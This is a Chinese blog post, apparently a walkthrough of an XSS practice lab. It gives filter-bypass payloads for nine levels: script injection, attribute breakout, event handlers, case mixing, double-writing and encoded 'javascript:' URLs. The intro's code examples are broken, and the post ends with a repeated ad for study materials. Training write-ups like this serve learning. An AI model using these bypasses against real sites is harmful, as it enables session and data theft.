- 在链接中执行JavaScript代码:可以通过给链接的href属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,点击链接时弹出一个提示框:
点击我
- 在表单中执行JavaScript代码:可以通过给表单的onsubmit属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,当表单提交时执行一段JavaScript代码:
``` ```
- 在脚本中执行JavaScript代码:可以直接在
需要注意的是,使用JS伪协议存在一些安全风险。因为它可以执行任意的JavaScript代码,所以可能会被恶意使用。为了避免潜在的安全漏洞,应该谨慎处理用户输入,并避免在JS伪协议中执行不可信的代码。
另外,JS伪协议在现代的Web开发中并不常见,因为它的使用方式比较简单粗暴,不够优雅和可维护。相比之下,更常见的做法是使用事件监听器和其他技术来实现与页面交互效果
一、Level 1(修改 name)
观察页面可知 name 值对应用户名
更改 name 值验证猜想
直接传入 JS 代码
?name=<script>alert(1)</script>
二、Level 2(闭合 input)
随便输入值检查源代码发现位于 value 中
可以在搜索框中闭合掉 value 及 input 标签来执行 JS 代码
"><script>alert(2)</script><
三、Level 3(单引号闭合 value)
用上一关的 payload 测试推测应该被过滤了
查看源码确实是过滤了,但是 value 值使用的是单引号,可以尝试能否闭合
' onmouseover=alert(3) '
四、Level 4(构造 JS 事件)
用第一关的 payload 测试发现过滤掉了 < 和 >
尝试通过构造 JS 事件执行 JS 代码
" onmouseover=alert(1) "
五、Level 5(JS 伪协议)
老 payload 测试发现过滤了 script
尝试构造事件发现过滤掉了 on
因为没有过滤掉 < 和 > ,所以可以插入新标签通过 JS 伪协议来触发 JS 事件
"> <a href=javascript:alert(5)>hack</a>
六、Level 6(大小写过滤)
使用上一关的 payload 测试发现过滤了 href
因为 HTML 对大小写不敏感,所以采用大小写过滤
"> <a hREF=javascript:alert(6)>hack</a>
七、Level 7(双写绕过)
使用第二关的 payload 发现过滤关键词 script
双写绕过
"> <scriscriptpt>alert(7)</scriscriptpt>
八、Level 8(Unicode 转 ASCII 编码绕过)
这一关是根据用户输入的值构造一个超链接
传入 JS 伪协议发现被过滤
使用 Unicode 编码转 ASCII 绕过(单独编码一个字符也可以绕过)
javascript:alert(1)
九、Level 9(注释兼编码绕过)
这一关只有匹配合法的链接才会被添加
不合法的将不会被添加
可以尝试将 JS 代码与 合法的 http:// 一起输入然后注释掉 http://
能添加进去但是有过滤所以得编码绕过(只需将一个字符编码就行)
javascrąpt:alert(9)//http://
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
链图片转存中…(img-w0D8g47a-1715560249939)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!